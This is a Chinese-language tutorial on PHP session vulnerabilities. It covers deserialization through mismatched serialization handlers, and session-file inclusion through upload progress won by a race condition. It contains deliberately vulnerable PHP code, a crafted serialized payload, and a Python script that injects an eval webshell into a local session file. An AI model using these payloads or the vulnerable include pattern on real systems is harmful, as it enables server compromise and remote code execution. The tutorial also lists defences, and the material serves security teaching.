PHP中的session漏洞利用
字数 1302 2025-08-11 17:40:22
PHP Session漏洞利用详解
一、Session基础概念
1. Session存储机制
PHP中的Session是一种服务器端存储用户信息的机制,用于跟踪用户状态。Session数据默认存储在服务器上的临时文件中。
2. Session序列化处理器
PHP支持多种Session序列化处理器,常见的有:
php: 传统格式,使用键名|序列化数据的形式php_serialize: 将整个Session数组序列化php_binary: 使用二进制格式存储
二、Session反序列化漏洞
1. 漏洞原理
当PHP在反序列化存储的Session数据时使用的处理器与序列化时使用的处理器不同,可能导致数据无法正确反序列化,经过精心构造甚至可以执行任意代码。
2. 漏洞条件
- 网站使用了不同的Session序列化处理器进行序列化和反序列化
- 能够控制Session中的部分数据
3. 漏洞利用步骤
存储Session的代码示例
<?php
error_reporting(0);
echo "serialize_handler: ".ini_get("session.serialize_handler")."<br />";
echo "path: ".ini_get("session.save_path");
ini_set("session.serialize_handler", "php_serialize");
session_start();
$_SESSION['username'] = $_GET['username'];
?>
访问Session的代码示例
<?php
error_reporting(0);
ini_set("session.serialize_handler", "php");
echo ini_get("session.serialize_handler")."<br/>";
session_start();
class test {
public $name = "wrong";
function __wakeup(){
echo "this is __wakeup";
}
function __destruct(){
echo "I am ".$this->name;
}
}
$str = new test();
?>
构造Payload
<?php
class test {
public $name = "wrong";
function __wakeup(){
echo "this is __wakeup";
}
function __destruct(){
echo "I am ".$this->name;
}
}
$str = new test();
$str->name = "true";
echo serialize($str);
?>
输出:O:4:"test":1:{s:4:"name";s:4:"true";}
利用过程
- 将Payload前面加上
|传入Session中 - 存储时使用
php_serialize引擎,会将整个Session数组序列化 - 访问时使用
php引擎,会把|前的内容视为键名,后面的内容视为需要反序列化的数据 - 成功触发反序列化漏洞
三、Session文件包含漏洞
1. 相关配置选项
session.upload_progress.enabled: 控制是否开启上传进度跟踪功能session.upload_progress.cleanup: 控制是否在上传完成后删除文件内容session.upload_progress.prefix: 设置上传文件内容的前缀session.upload_progress.name: 指定Session中的键名
2. 漏洞利用示例
漏洞代码
<?php
ini_set("session.upload_progress.enabled","On");
ini_set("session.upload_progress.cleanup","On");
$a = $_GET['a'];
include($a);
?>
Python利用脚本
import requests
import io
url = "http://127.0.0.1:8000/test1.php"
sessid = "Lxxx"
def write(session):
filebytes = io.BytesIO(b'a' * 1024 * 50)
while True:
res = session.post(
url,
data={
'PHP_SESSION_UPLOAD_PROGRESS': "<?php eval($_POST[1]);?>"
},
cookies={
'PHPSESSID': sessid
},
files={
'file': ('Lxxx.jpg', filebytes)
}
)
if __name__ == "__main__":
with requests.session() as session:
write(session)
3. 竞争条件利用
由于session.upload_progress.cleanup设置为On时,上传完成后会立即删除Session文件,需要通过多线程竞争来利用:
- 一个线程不断上传文件,向Session文件中写入恶意代码
- 另一个线程尝试包含这个Session文件
- 利用条件竞争在文件被删除前成功包含
多线程竞争示例
import threading
# 创建多个线程进行竞争
for i in range(5):
t = threading.Thread(target=write, args=(session,))
t.start()
四、防御措施
- 统一序列化处理器:确保整个应用使用相同的Session序列化处理器
- 禁用危险功能:如非必要,关闭
session.upload_progress.enabled - Session存储安全:将Session存储在安全位置,限制访问权限
- 输入验证:对用户输入的Session数据进行严格验证
- 及时更新:保持PHP版本最新,修复已知漏洞
五、总结
PHP Session机制存在多种潜在安全风险,特别是当序列化处理器不一致或能够控制Session数据时。攻击者可以利用这些漏洞实现反序列化攻击或文件包含攻击。开发者应充分了解这些风险并采取适当的防御措施。